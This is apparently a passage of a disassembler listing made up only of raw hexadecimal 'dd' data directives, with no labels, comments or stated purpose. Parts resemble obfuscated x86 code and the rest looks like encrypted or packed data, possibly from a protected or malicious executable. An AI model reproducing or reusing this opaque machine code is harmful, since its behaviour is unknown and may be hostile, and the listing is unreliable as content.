4FEF5DF4h dd 90F46DD7h, 0C78F35AEh, 30949E58h, 40FC67C9h, 877AE7D9h dd 30946118h, 6A4B6AC9h, 510897F3h, 7AC93094h, 84AED55Bh dd 8995EE88h, 0F4B340A4h, 1F501h, 4F470000h, 0CEF069D3h dd 0B58BEF55h, 37AE904Ch, 7D35148Dh, 3BE79CE4h, 53FA62DEh dd 54307D15h, 74B061CBh, 0DB88FACFh, 0BABF0D36h, 28166028h dd 0BD9C05B7h, 0CA3B059Ch, 0E9D7B31Ah, 7051C87Ch, 279D0638h dd 0A97821BEh, 3249C2EBh, 0F26F51E8h, 0C73C024Ah, 198AB41Dh dd 245632ABh, 6A57D9E9h, 16CE38CBh, 0EB8FAE8Fh, 0EBBAC574h dd 6F2706C2h, 0AA35F451h, 0C2EBB9EFh, 0BCD8F9D8h, 0BA9447D8h dd 1435C2EBh, 0A0DBC55Ch, 0B82C9976h, 0D9BF2711h, 1574FBAFh dd 0C6000001h, 4C419B37h, 730DEEABh, 4061E343h, 509A0561h dd 99CF744Ah, 0A61F21B8h, 3CA9973Eh, 4B751188h, 0CDF36ADAh dd 5F7EE755h, 9B08367Eh, 0D5AEB029h, 0CD77EC49h, 59F25264h dd 5003FBB0h, 0B1000000h, 8BC2B15h, 8A32AF91h dd 11A5E3ABh, 0C7FE084h, 4FC93095h, 32AB1171h, 0C2D5B13h dd 944F0A95h, 0FB80C930h, 40A6982Fh, 743C1D84h, 7713A232h dd 0F09B6113h, 0DDB4B07Fh, 0AF7326B9h, 7554C92Fh, 0AF47A23Dh dd 0A180C92Fh, 869C08h, 372E0000h, 0E976129Bh, 0CF74A097h dd 2A4ED7F6h, 470FAD14h, 0F1580C79h, 0DE37E795h, 0CA66FA7h dd 5B097A44h, 4E995DC2h, 0B3C8C2ECh, 0B4198A67h, 2809904Ch dd 0F0536D09h, 0EBAD044Ch, 35AACE47h, 0C9378EB9h, 0F2CC5574h dd 324AD391h, 6808DD49h, 0B22D492Dh, 0C9218E07h, 0CDA9E1C0h dd 0B12B97A9h, 0CFE666F9h, 4327CF6Ch, 0EC4D1DDCh, 2583AAC2h dd 0EB196A79h, 0F99DBC9Dh, 7AE361C7h, 83DA811Eh, 0D2F3C2ECh dd 0A012BBF3h, 9B0D9B37h, 0F36C0829h, 0CF7BD57Bh, 6E0A93B2h dd 6B5BCD1Ch, 1A52E40Dh, 0AC05BF24h, 2AB33192h, 15FB0DB5h dd 0A0248023h, 219B0739h, 0A31986B8h, 0E05CC6BDh, 34ABCFABh dd 62B5E985h, 55077846h, 0DB473C74h, 0F65F057Eh, 70E95BC8h dd 1274D14Eh, 4BF96C52h, 0B6D2F3D2h, 0EFA71D88h, 0A9750E76h dd 96DD74Ch, 8B12CA37h, 8F2D94AAh, 0D67F3716h, 50C97BE8h dd 14C4h, 2D497600h, 0A263B413h, 58784D3h, 645AC3E2h, 2B634202h dd 67D54F99h, 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch dd 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 8950EDFAh dd 9FBF57E0h, 0C143147Dh, 814708E7h, 5A63E7C7h, 97F78158h dd 8107844Dh, 0A3B085C7h, 5FF80194h, 8704E883h, 575C2404h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 89502414h, 405E0h dd 0E8830000h, 24048704h, 2434895Ch, 8904EC83h, 0D6B9240Ch dd 8171293Eh, 0E2794BC9h, 6E98116h, 81649C6Bh, 0E00AEEE1h dd 71F18122h, 815F7F0Dh, 0F3CC79E9h, 59CA8956h, 24348B54h dd 4C481h, 0BB530000h, 8, 0B951F301h, 0 dd 1189D901h, 348B5B59h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 24148B5Ch, 81E78957h, 4C7h, 4C78300h, 5C243C87h dd 0F93885E9h, 1F9820FFh, 4B45D0B8h, 0FFC50306h, 0BD0A97E0h dd 1F4AD419h, 0DEB88D15h, 6A844467h, 160E8B11h, 7829D341h dd 68A6746Eh, 0E7E7F241h, 869E515Fh, 0F2179B16h, 0B28BA13Dh dd 1D3D4154h, 3EAEF207h, 0B7935C0Ah, 0C34F950h, 5E87Bh dd 6BA90000h, 5335E70Ah, 0E9595BF5h, 0Eh, 735845E4h, 0B318E0Eh dd 8F9C8FD9h, 0C181C539h, 5B30h, 0FE8h, 8855500h, 614849D2h dd 26A7348Fh, 55DBFD61h, 5E08C780h, 8159A4BFh, 5C78151h dd 60AE7EBDh, 66C9BF0Fh, 9A36EF81h, 0F531FF61h, 6ABE525Ah dd 5E3ADBF9h, 0FFB9EA81h, 0E3B84A6Fh, 814222D2h, 5072B6EAh dd 0C18B662Bh, 9BF281h, 6E931D4h, 1E000000h, 68545ED6h dd 0F911890Eh, 8304E983h, 850F01EFh, 0FFFFFFC1h, 8D8D70B3h dd 64B4846h, 68A0Fh, 0BD010000h, 6441EBDh, 2F5D8D89h, 6A0644h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 11E9A7C3h, 74000000h, 3D3D9C25h, 6B2F4154h, 18481A60h dd 0BCAADD85h, 67985C7h, 61600644h, 880F0000h, 3, 0C7D88B66h dd 44107185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 1492D253h, 0FFAB0F55h dd 440C0DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0BE4DFEAFh, 145E1664h, 1DB59D8Bh dd 95FF0644h, 6440BF9h, 9E19509h, 890F0644h, 5, 0C7E28166h dd 0FF006AF4h, 441C4D95h, 0EBC08B06h, 0E40EE96Ch, 0C7033C10h dd 5927DC0h, 0CFCB095Eh, 0A9A5A197h, 0BAD331A6h, 0FDB7A77Bh dd 0BEBEC7C1h, 4D77EFD7h, 0ADE6A43Dh, 2A4BA5DBh, 6CA8614Bh dd 0C11C42C5h, 7E9BB8F0h, 6E52CDB3h, 47DD9002h, 6D5AEEDCh dd 3847B9EEh, 7E6914B6h, 37DE371h, 62194196h, 0F6CAAA1Bh dd 8F17249Dh, 7662828Ah, 0FED33537h, 1FE9E589h, 18B0D299h dd 1E04EB5Dh, 0E918B3EBh, 0CB5h, 4B4A7268h, 364CE906h dd 6D68FFF9h, 0E9064B4Bh, 0FFF93642h, 4B4D5E68h, 3638E906h dd 6A68FFF9h, 0E9064B4Eh, 0FFF9362Eh, 4B51A868h, 3624E906h dd 0D368FFF9h, 0E9064B52h, 0FFF9361Ah, 4B53CD68h, 3610E906h dd 0DD47FFF9h, 7CE8D67Fh, 0E35F61C8h, 71EED079h, 0EA5C62CBh dd 27F1D37Ah, 0B811D335h, 0CA51F86h, 0C46DCF32h, 72DB89FAh dd 0ECD5236h, 0BFC2E54Bh, 2B155BE9h, 36A61AB7h, 0E7AF8E17h dd 61F86CD9h, 0E77EE65Fh, 6BF26AD9h, 0D9497713h, 5CC4FA63h dd 0F289C1E0h, 0EA5ACB28h, 590B7D43h, 0CDF74F3Dh, 96B97937h dd 0DC4977DEh, 0FC5B73Bh, 30114D84h, 0F32E97A9h, 3084AD6Ch dd 74F056C9h, 42F96602h, 8BC93084h, 3AA8BAAh, 460AD45h dd 8118CC3Ah, 84BF7AE5h, 2908C930h, 0BB244008h, 0CF74A4C9h dd 27B82100h, 0C2EC6470h, 2A0F1B60h, 0FBB07FBAh, 863D3D4Fh dd 8DBE5495h, 4A95C5h, 95F10000h, 1A8537ABh, 0C2EC755Fh dd 103B4968h, 0CBCEE6BAh, 3797256Dh, 0E976129Bh, 0CF749F53h dd 0E42D96A8h, 98285AC0h, 0B2FADB7Fh, 0EAF7B6C4h, 0E9597D45h dd 0C4E5C478h, 5C13C25Dh, 0FE85C2ECh, 7B57CF34h, 0A89CFBB0h dd 2E000000h, 0D3DD64Fh, 80B8E54Ah, 0F7C95071h, 744AD391h dd 0F31550Fh, 0AD142A92h, 0FFB7960Fh, 79EB5866h, 0F0674FD0h dd 35AEC92Fh, 0E7A655CAh, 1927C92Fh, 361736AEh, 8044A19Fh dd 7AB35F19h, 0E9CB811Eh, 2302CF73h, 0E924CC8Ah, 8DB2128Dh dd 0A2BC932h, 4EF6506Eh, 0F56FD9E7h, 0E1315C50h, 0A733AA7Dh dd 0A63h, 0BC15C73Dh, 0BA22282h, 0C66FCD35h, 7CD587F8h dd 0C960E442h, 6DDB41EBh, 5605EF7h, 59C8F65Fh, 0F744AE3h dd 0DCB8FC55h, 0E54A9843h, 0D56731C2h, 0C26BD94Fh, 0B9DD87FCh dd 3BA21A87h, 1BB241Ah, 3752E049h, 0E976129Bh, 0CF749F53h dd 9D029BBAh, 0C2EC88DAh, 9075A1DAh, 0FBB0A834h, 159C87F5h dd 5451CD4Ah, 0D44C1Ch, 4FFE0000h, 0C9F76ED6h, 0BF81E55Fh dd 24059C48h, 8A6AF56Ch, 8BC93099h, 6703AA1Ah, 0CAB34015h dd 56C94625h, 0C93089A3h, 6C240524h, 0EA73F152h, 398DFC8Eh dd 8C33E76Bh, 0A7EE82C4h, 328E5CC3h, 0F3CDCF74h, 0EF99D193h dd 710367CEh, 70D7D957h, 3E4C6DF4h, 0B1C31234h, 2627BA0h dd 0B7F1B940h, 69F6921Bh, 0C93324ECh, 16640021h, 36650CD7h dd 0E387CFC6h, 9DF96BDDh, 49D3FA3h, 34A81B25h, 6DC48CADh dd 0EA4FF553h, 7DE139F8h, 6823B72Eh, 22000009h, 8BB51CC0h dd 3E00A91Bh, 8DB31AC2h, 3F01A814h, 90B21BC9h, 0B2329488h dd 2C2251Bh, 8E2E95ABh, 38AC1927h, 2EB1D591h, 0C2E5496Bh dd 4FB80A5Ch, 0FCC26BD9h, 0DDB9DD87h, 30949742h, 591130C9h dd 0D64F42F0h, 5CC9F76Eh, 17DE41E8h, 0BAC93094h, 9EA01C84h dd 120B923h, 560E7749h, 0E064C1FFh, 66DE4779h, 909AE1FFh dd 299D42A3h, 5339ABBh, 1F4B3A1h, 0BC52h, 9B37E000h, 0C7E97612h dd 6CF74A0h, 7621BE27h, 66C2EC88h, 0B82C111Dh, 7DFBB0A3h dd 9Dh, 54156B19h, 7824F709h, 62D8831Ch, 0D0F1C2ECh, 28EE2A98h dd 0A9C93094h, 8CE88C09h, 188D52B2h, 35148DACh, 940BCE51h dd 9DBCC930h, 0C1384AD5h, 0B091CF74h, 86197D19h, 0C2EC67D3h dd 49D47BCh, 3A725325h, 4622A204h, 1F570D78h, 0B886E286h dd 5108974Dh, 7AC2EC68h, 4103655Bh, 6AA34F09h, 75B3910Eh dd 5C38C930h, 307318C3h, 0D890B1C9h, 18268FAEh, 0ECAA33A9h dd 0C9ADC944h, 4FD08CF7h, 0C930738Ch, 30541C3Dh, 747B19AFh dd 5DC4FACFh, 0F4766FFh, 65F15879h, 536h, 129B37D7h, 0BEBBE976h dd 3E00CF74h, 0A6871EC6h, 0ACEA98EEh, 698920EDh, 1B841D3Ch dd 0C2EC545Ch, 16FB275Ch, 0FBB06FAEh, 50947h, 39C2F500h dd 2B4FC66Ah, 7496EAB4h, 6E0A2BCFh, 91E6950Ah, 0C6E7C2ECh dd 535285B4h, 83CB2B96h, 9B785CC3h, 83E76CB1h, 0AF7A5D1Ch dd 74F6E19h, 64B141h, 679D9D72h, 0E461329h, 0A92BF56Ah dd 0E6A1FF3h, 88D6B07Ch, 63FC7679h, 1F6B6DB8h, 920E3011h dd 516F0B2Ah, 9F064EF6h, 6FCC89FBh, 88D4F9FEh, 0A3EA86C0h dd 4C4C58C7h, 0A08125B2h, 0DB89FAC4h, 0BB2181BFh, 3DA71C22h dd 0ECA485A4h, 5A0A7B45h, 6181E7FFh, 20B42DD2h, 777h, 0A009B311h dd 17BE269Eh, 0AA03B929h, 18B12B94h, 0AD04C026h, 51B7A58Fh dd 0A1043A93h, 4DB48A23h, 0B7846EFh, 0D0B4F059h, 0E5478C4Fh dd 0D96B3DC2h, 0F76ED64Fh, 0F09421B1h, 74C7916Fh, 0EC82F0CFh dd 0FA1C10F5h, 6E0A6E4Fh, 754BF150h, 0ECCD5410h, 0B5279AA4h dd 6F2AB5D1h, 10C2EC30h, 0B7960FB5h, 1A8E0C1h, 7C18C43Fh dd 1C2BE00Eh, 4C04DDB9h, 588F4AD5h, 26D1C2ECh, 97C2EC68h dd 0B2D6B2FBh, 0D45634C0h, 447A2D9Fh, 0A8377FDDh, 0C9307B6Eh dd 241A7E5Fh, 5C7952BBh, 58ACE383h, 89C1E079h, 62C88F10h dd 0B3C8C930h, 82228267h, 83E701F4h, 306F5D1Ch, 74F6EC9h dd 2457h, 2B15E500h, 64008BCh, 7947236Ah, 0F5CB520Ah, 6948D193h dd 0FB640048h, 0CF74B0F1h, 14801938h, 18h, 129B37A6h, 7BD84876h dd 0E178590Bh, 73EC88C0h, 0CF74B9DDh, 16A43D1Ch, 0ABA2B15h dd 5D077C42h, 0E33716F8h dd 2DB9207Dh, 66Bh, 0B41DBF25h, 3AA1A8Ah, 0BE17C53Dh, 14BD1F80h dd 0A108BC2Ah, 45A39983h, 9D08369Fh, 51B08E27h, 77C42EBh dd 0D4B0F45Dh, 0E546904Bh, 0DD6F39C2h, 9A0D9B37h, 0F06F0B2Ah dd 0CF74B15Ah, 152BB293h, 2BEE71B0h, 9CC2EC77h, 0C6F89CBDh dd 0A9E15Bh, 37B1599Fh, 2ABC58EAh, 78C9FE53h, 2C8BF9EFh dd 2429E2D2h, 0ACC86140h, 2AB80ADEh, 231D4FD6h, 11571FC5h dd 0CF503481h, 0AE659B21h, 261881A0h, 0E9AF06BEh, 37A8CC49h dd 0A8297D01h, 1C78E1C0h, 3C02C222h, 0A4851CC8h, 7CC473ECh dd 0DB4DA821h, 56CEF069h, 8C1377EEh, 0A8217BCDh, 0EF94DFFEh dd 58B39A43h, 93771249h, 0A48EF5B2h, 0E4D547BFh, 16AECE0h dd 375E0000h, 9097419Bh, 5E3FB93Bh, 0E6841B7Fh, 0E7CF73DEh dd 4615FC6h, 6ED7E940h, 69F692F6h, 0C2EBC5B2h, 39E07F1Bh dd 92C2EBC5h, 43DA92B3h, 36FF9ADCh, 4C7216EAh, 5A2169D3h dd 0C25D39D0h, 0A8209F17h, 0E7D991B0h, 516FC67Eh, 76E970F4h dd 0CF6BDA40h, 0CD2AF48Fh, 7B45EC58h, 0A7C35A0Ah, 0C59D5CC3h dd 0F2EC2EBh, 21760147h, 0C53FDA45h, 0A988C2EBh, 0E3166400h dd 9D50F175h, 23CF89C1h, 8EEA8EEAh, 0EC206A11h, 0DD4263C2h dd 0C2EC201Eh, 0A2C68EAFh, 304A033Dh, 0ABA2D0C9h, 95C79137h dd 7265018h, 78E45D63h, 2E97A930h, 74ECD2B6h, 6DF470D7h dd 0D5F46D4Ch, 990A349Dh, 0B2D6B22Bh, 2FC86E2Dh, 33B117C9h dd 0DCFD8BAAh, 0C8680B94h, 0BA29C92Fh, 3DA59B02h, 6318069Fh dd 593D45B7h, 840FC67h, 0D94AA773h, 405DC26Bh, 0BD3D8401h dd 0A1238319h, 30C44A38h, 0B5DB1278h, 0A3D1B594h, 39AD1DFDh dd 4133128Bh, 347C2A0Bh, 8242A39Dh, 8A85841Bh, 7BDB23h dd 7CC3916h, 9DBC259Fh, 7AE6D8BCh, 1D238AC2h, 66583CA8h dd 960F47FDh, 520996F2h, 7BD71D7Eh, 0BC54125Ah, 0CE671571h dd 355538F1h, 339C8AF8h, 0B4CEE150h, 8EFC98FCh, 9792F752h dd 772D9D7Ah, 0B34FE496h, 0EF3DA2EAh, 3EDD610Ah, 3422B61Fh dd 90000000h, 76129B37h, 0DB72C12h, 0B0D0DA45h, 3819CF74h dd 8BFBC5A1h, 296140D9h, 5135AF17h, 0D148F46Fh, 6311B8F0h dd 92254C2Dh, 43FE6105h, 84C2EC7Eh, 4F8537A5h, 0A3C76ED6h dd 1D161DD1h, 72EDA8DFh, 0C9306CC7h, 3E002100h, 13551DC7h dd 6C52367Fh, 0FFDE47F5h, 0B5FD67C1h, 4ED1B5D1h, 0C9306C8Bh dd 22541074h, 0BAD44B03h, 3BCF7497h, 0E1407E1Ah, 75ECD27Bh dd 249DA3C7h, 2F69F0B8h, 506E0A83h, 60044CF0h, 30C421FFh dd 0D84160C9h, 30739047h, 247101C9h, 9699DF40h, 928CF74h dd 92480F90h, 3348C2ECh, 0B1A202E7h, 2F53FBB0h, 0E1000000h dd 88419B37h, 7524AA8Fh, 910E6A4Bh, 0CF748F9Bh, 99083652h dd 49BBA23h, 0C2EC5755h, 0FE695776h, 3D036746h, 0CA531BC9h dd 225Eh, 9B37EC00h, 0DB487612h, 99D1F069h, 0B9CC62FDh dd 330DCF74h, 2D970ED3h, 0E3687E0Ch, 0BF6344C4h, 4FB5079Eh dd 3FCB6ED6h, 0ED7DE337h, 32DE074h, 7DE70000h, 0DC4876DFh dd 83FFC168h, 0D14E70D9h, 8AFCC26Bh, 0C75173DAh, 0D871F355h dd 6CC57FE6h, 0E44DEF52h, 52FB69DAh, 2EED7216h, 9FC2E543h dd 0D64F7BC9h, 5CC9F76Eh, 4FB28CE8h, 0F2E8EF2h, 56FFB796h dd 0BB2A8010h, 90B19009h, 0B5796BF4h, 0F1D0CF74h, 0D3320C68h dd 0E1A98811h, 0EC74B77Eh, 395D39C2h, 0EC73F3A6h, 0BDF5D4C2h dd 8FF75CC6h, 0A4FBB08Fh, 3Eh, 129B3716h, 9F53E976h, 84BACF74h dd 3DD3A11Bh, 4467C1CDh, 0FF60F9D8h, 0C2EC3738h, 80E065C1h dd 456445DCh, 0C07DE2DCh, 44DDFC60h, 52AA740Fh, 5FC46E15h dd 0FBB056E7h, 0B10Ch, 0D64FBE00h, 5FC9F76Eh, 46BF81E5h dd 9CBD2781h, 17CD3B05h, 0D9E77E36h, 5F61F86Ch, 0EEA12DE6h dd 59DBF899h, 664ED178h, 0AFC9304Fh, 19278E36h, 0BC27ACh dd 4640FB64h, 0A889C930h, 0BA561089h, 0F8C01820h, 2C0DD78Ah dd 7449D748h, 0A988CF74h, 63AA4600h, 0DC939807h, 384AC932h dd 0D83475E4h, 4D3B73B0h, 0D036086Ch, 2583BD14h, 6E01ABFh dd 8F167DE1h, 2021Bh, 0B6269C00h, 1FC5211Fh, 0A41888B6h dd 6ECE330Dh, 0D58FF9C7h, 66D65E7Ch, 0D3ED4400h, 6759F074h dd 0D7E940FCh, 1B5FF66Eh, 4239E07Fh, 0C492C2E5h, 6BD94F76h dd 0DD87FCC2h, 9B37C674h, 53E97612h, 0BACF749Fh, 0DA9D029Bh dd 0DAC2EC88h, 349075A1h, 0C1FBB0A8h, 0E5h, 2BD64F73h dd 309405B4h, 904BD4C9h, 39C93094h, 950A6E18h, 0C93093E6h dd 0C6E7C6E7h, 5D07615Fh, 997B5BC4h, 49BAC930h, 909A41DEh dd 4133C930h, 152FF80Bh, 426342ABh, 1F005426h, 5CE0E008h dd 0CFEE77E5h, 0CF75D0EEh, 744A2E87h, 0E8C9500Ch, 0BEF66ED6h dd 0C5A12380h, 90D88CFBh, 0F5536D09h, 85F7D64Fh, 5530B40Ah dd 0C680C861h, 1887E32Ah, 0CF747A86h, 89CF6647h, 57C8ACE9h dd 0C9331BF7h, 0D335776h, 17CD369Bh, 0A9365236h, 0C92DD8F2h dd 1BB2FADBh, 0A401C325h, 7DE18C64h, 897039Ah, 82000001h dd 2B15BC20h, 9EA009BBh, 2D13BA22h, 9FA108B4h, 3012BB29h dd 521274E8h, 0E262C5FBh, 0AE0E754Bh, 18CC3907h, 0E91F5B1h dd 0C2E5414Bh, 4F982A7Ch, 0A6C26BD9h, 4D1EC3D4h, 0ACE4897Bh dd 1AB33192h, 6ED64FA8h, 0E85CC9F7h, 226B0741h, 0C3502246h dd 783245EBh, 0C970EF8Bh, 2C92FB7h, 0FAF46B23h, 3BCF7AFFh dd 48BD831Ah, 9A0B359Ch, 0F72CB32Ah, 0E9E1DDBDh, 3AAB8892h dd 158AEE8Ah, 0B07D6966h, 0A70E4667h, 3CA72C99h, 0A1C5A180h dd 7D697B3Eh, 256D4CB0h, 0A01D82BCh, 70029B41h, 0FE93BE4Dh dd 725337h, 76C4B024h, 0B4D0F193h, 968C4FD0h, 1C3DB07Ch dd 861FBD22h, 4876EFA7h, 83F168DCh, 0A4A7A37Fh, 88FFC1BAh dd 463D45DCh, 5A027FDCh, 0BBC3E2C3h, 8CF956C0h, 0B366F99Dh dd 14B07CE5h, 0E4EFAA35h, 0F9D8B07Ch, 0D64F71D8h, 0CC340A6Eh dd 0E0A88910h, 0DED79h, 155F0000h, 942BEE71h, 0BD9CC930h dd 4F7FCDF5h, 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh dd 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h dd 81E38953h, 4C3h, 4EB8300h, 2474FF53h, 48F5B04h, 0B685C24h dd 89000058h, 8957243Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 241C895Ch, 4908BA52h, 5F52064Bh, 4EC835Ah, 81242489h dd 42404h, 575B0000h, 0BE240481h, 8F1ACB60h, 0BD550843h dd 1ACB60BEh, 5D086B29h, 5B2434FFh, 4C481h, 34FF0000h dd 0C4835F24h, 29A8E904h, 2C3BFFF9h, 3D253766h, 54FAB80Ch dd 0C503064Bh, 87EDE0FFh, 0F6166F16h, 0EB5216Eh, 63E27E8h dd 4EB7837h, 556925C6h, 5AFE9h, 0CE6ED400h, 77ED5967h dd 0DC80E0DEh, 66D64B75h, 2D97F1CFh, 9E7EA684h, 2B15BC28h dd 9FA108BCh, 2F11B824h, 0E3A70EB6h, 3F611887h, 3C6AC2E5h dd 6ED64F8Eh, 68F793F7h, 0C93094B1h, 4D733B1Ah, 7F0D69DBh dd 51606B86h, 5ACE47Dh, 0DF9A0561h, 0E8C92FB3h, 46BF81C9h dd 39A02481h, 9EA03918h, 1826BF25h, 0EAA138ACh, 70D4EA8Eh dd 0B4B06BF4h, 3819C92Fh, 6A229A06h, 720511h, 0BF269802h dd 0F5A43B7Eh, 0D6C92FF0h, 7EE8D6F7h, 53B08EC6h, 9B063891h dd 87B4521h, 0A4ECCD54h, 73D0330Dh, 5337AE0Eh, 2FF10DCCh dd 0BE9FBEC9h, 0CD38069Fh, 50B08E17h, 0DC4B75ECh, 94EFF168h dd 0AECAB28Ah, 0F1A655CAh, 627C92Fh dd 0CE9354Eh, 0B08E2795h, 87F59153h, 835722A7h, 1188C0D1h dd 303BC88Eh, 8892E9C9h, 0F45B43A3h, 5DF001h, 4F420000h dd 68F76ED6h, 0C93094AFh, 0EC75EF54h, 56CF6DD2h, 8577A3D8h dd 0A98E98E3h, 1F4B33Dh, 1F6h, 0D74F4400h, 5ACAF46Dh, 0D44D73EAh dd 0FC372A3Bh, 84A59E1Ah, 671D92E0h, 7C94BFA7h, 82E6AD34h dd 0A37194E6h, 290C9C7Fh, 308B03B6h, 0ADE5C4C9h, 77EF4CD6h dd 0E95A64CDh, 4F60D27Bh, 60BD38D9h, 0DF998A13h, 887524BBh dd 7756C930h, 940C3256h, 188FB128h, 5CC58DACh, 26420262h dd 881EDD42h, 0CBAFC930h, 3088A554h, 260726C9h, 0B4222C54h dd 672F06B4h, 8F9BE0FEh, 0B09C8AF8h, 99FA4650h, 0ACC43AEBh dd 0F8B01BE5h, 3EA160C6h, 0C92F977Bh, 0E54C6D4Ch, 63FA6ADBh dd 0BC83907h, 920B2A9Ah, 5DC5FBB3h, 452166FFh, 0A25D237h dd 2FE3E695h, 0B4C6E7C9h, 7F37749Ch, 0E1351A04h, 1201F44Ch dd 6Dh, 0CE8D1276h, 0FFC93038h, 65FC60C1h, 9E016544h, 0C93038DBh dd 3785CDECh, 0F26BD94Fh, 8CE854CCh, 0A9351B2h, 0B1FA632Bh dd 95F360CAh, 86E2862Fh, 30946219h, 24A6BC9h, 831ACA3Ch dd 19844BDh, 0A71C2246h, 9434E778h, 0B495C930h, 652D0C95h dd 0C72F141Eh, 6C01F4B1h, 47h, 6BD94FDEh, 0E755CCF2h, 0C36F147Eh dd 0DD74F056h, 6DD74F6Fh, 31AE90F4h, 9A5CC38Bh, 3BC93094h dd 5123D640h, 0F1EF63EBh, 0C0F6BE3Dh, 1F41C64h, 1291h dd 2A87F500h, 6173D4A3h, 26D54A2Eh, 0A7C9300Ch, 157CCE86h dd 942BEE71h, 0BD9CC930h, 0E557CBF5h, 63E1427Ch, 3DFC6307h dd 8EC93094h, 67EE7AFh, 201EB17Dh, 0A5841DBFh, 23BA2A9Bh dd 0C744A02h, 4968D44Fh, 7FE084E0h, 0C93094BCh, 0E67FDD45h dd 0D890B1C7h, 3FA4F29Eh, 5FC0A485h, 0CF74B0EDh, 0A0C45D7Ch dd 0F7BF259Eh, 41E85CC9h, 4E9B5725h, 0FE5C392Bh, 9B56059Ah dd 5677C2EBh, 1C3201Eh, 9B520798h, 146FC2EBh, 0CB82D0Ah dd 0BA2A9BA5h, 3CA81D23h, 0B82C9BA5h, 3BA91F21h, 0CB572CA2h dd 0A146F71h, 0A50CB82Dh, 0AFBA3393h, 129C0FBh, 37720000h dd 0E976129Bh, 0CF74C1A3h, 3652CBEAh, 670ECD52h, 9EBFC2ECh dd 0C97BE8D6h, 0DB01DFADh, 9224291Dh, 0D84D73DAh, 70511373h dd 0F66ED7E9h, 2B15716Fh, 354E06B6h, 7E970CE9h, 49F7E615h dd 0F86CD9A4h, 40614061h, 0B267DFE9h, 0DCB8FBB0h, 0EC9F9843h dd 581031C2h, 3D08h, 9F37BA00h, 7EED7216h, 0CFC93094h dd 4BB48AEEh, 8B39AF91h, 16C55AC3h, 4FC93094h, 0E175EA34h dd 6A543054h, 0FFDE47F5h, 77BCB8Dh, 0BEF6C279h, 3085CA21h dd 8B2203C9h, 921Fh, 9B37AD00h, 60127612h, 0C05A6076h dd 0C93907CFh, 7AC45B13h, 0DBCF745Eh, 0E85D63FAh, 0E37C187Ch dd 0C2EC4638h, 51F8B091h, 0F6B14735h, 274B95Dh, 6B42F966h dd 0AA8BC2ECh, 0FD67DCE2h, 6C3BFB64h, 0C73AC2ECh, 54B28C15h dd 16280990h, 0CBAF36AEh, 0EC6BA554h, 890726C2h, 0BED428F2h dd 87FC59C5h, 9E3274DDh, 0BBEC7317h, 8C937C0h, 158EB029h dd 354E36AFh, 2DC74E9h, 0CD5746ADh, 4F2B0A7Ah, 6C42B7D0h dd 0BC1534CFh, 7823BCD8h, 51C2EBA2h, 378A3870h, 476129Bh dd 0B3A44E7Ch, 62064E41h, 7B59CCFDh, 0BE2719CFh, 80BE9F06h dd 69FBE26h, 0B019CB38h, 6C2FB0D4h, 5DC2E4CFh, 990A347Ch dd 12714F2Bh, 2C1233AAh, 0B3920BB9h, 380662FBh, 0AE8F16CEh dd 4E0B79E6h, 47F1607h, 1CC83D1Ah, 67DD4678h, 907A8A15h dd 440C28D9h, 0F272D3EDh, 23EC556Bh, 83691B85h, 9C052425h dd 0A6939FE4h, 102E873Dh, 3CA831B3h, 3, 4FFB498Eh, 0C0FE67D5h dd 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h dd 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 81E18951h, 4C1h dd 4E98100h, 87000000h, 895C240Ch, 89532414h, 4C381E3h dd 83000000h, 1C8704EBh, 1C895C24h, 6696824h, 4890000h dd 4CBA5224h, 0C14EE55Dh, 0D2F702E2h, 5A8CA81h, 0EA810E49h dd 152E2AC5h, 7E8EB951h, 0E181350Eh, 0D36A01h, 0A70E981h dd 814956AEh, 8861F4C1h, 43E98125h, 815F1D42h, 59DCC9C1h dd 59CA2908h, 0B386EA81h, 0D3893AD8h, 3788685Ah, 24890000h dd 24048324h, 0F0685804h, 89000000h, 8BA2414h, 1000000h dd 5A1A89C2h, 5124048Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch dd 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h, 0DBE95C24h dd 73FFF923h, 60770C7Fh, 0ED51CCB6h, 0B39E16A4h, 4B5A7AB8h dd 0FFC50306h, 58D92FE0h, 0E27F195Fh, 0A6F4105Ah, 4D721B4Eh dd 998A201Dh, 365AC309h, 7EB31173h, 0B49D5153h, 6DB43834h dd 0A5F11027h, 0FF492047h, 0C137AE46h, 43BC3F6Bh, 472EB849h dd 8604EB10h, 0E9505831h, 4FBh, 58F16BD9h, 0EF46FE66h dd 62CB71D1h, 0D079E35Ch, 65CC78EEh, 97FDD47h, 59CCF25Bh dd 57C42EBh, 63C0FE57h, 680C48E1h, 0E53944F7h, 0B7D385C2h dd 0C1A51F89h, 0E5399B5Eh, 450D2CC2h, 6ED64FF7h, 0E55FC9F7h dd 5311724Ch, 0D58FF4CAh, 5212724Ch, 0D391F5CBh, 5311744Ah dd 4FDBA0CAh, 61CDB6FDh, 55CA8FF4h, 0D0A2C6E7h, 3D3039B0h dd 0B11850EAh, 1A8148Fh, 8118C43Fh, 59C48BFh, 3F1C067Dh dd 8FB118C4h, 0A837AE16h, 0C92FDFEEh, 856AB4CFh, 1F3FF21h dd 62D2h, 0D64F6000h, 3B780A6Eh, 94858D5Fh, 0DBBF266Eh dd 0D37920BFh, 7352C92Fh, 0D2F3A43Bh, 0BBC0C92Fh, 0F21A8A6Fh dd 1DB01F3h, 69000000h, 0F46DD74Fh, 0B06BF490h, 19C93094h dd 0D64E7038h, 58C9F76Eh, 4D367DE4h, 111074E1h, 3093CB8Eh dd 5DC2FCC9h, 664766FFh, 5475E758h, 0E262C3FDh, 0B0112F4Bh dd 4FF6440Ch, 0CCF26BD9h, 6B75EC58h, 45F46B0Fh, 86C93094h dd 94BE7DE2h, 2E0FC930h, 0F23C470Fh, 8821A305h, 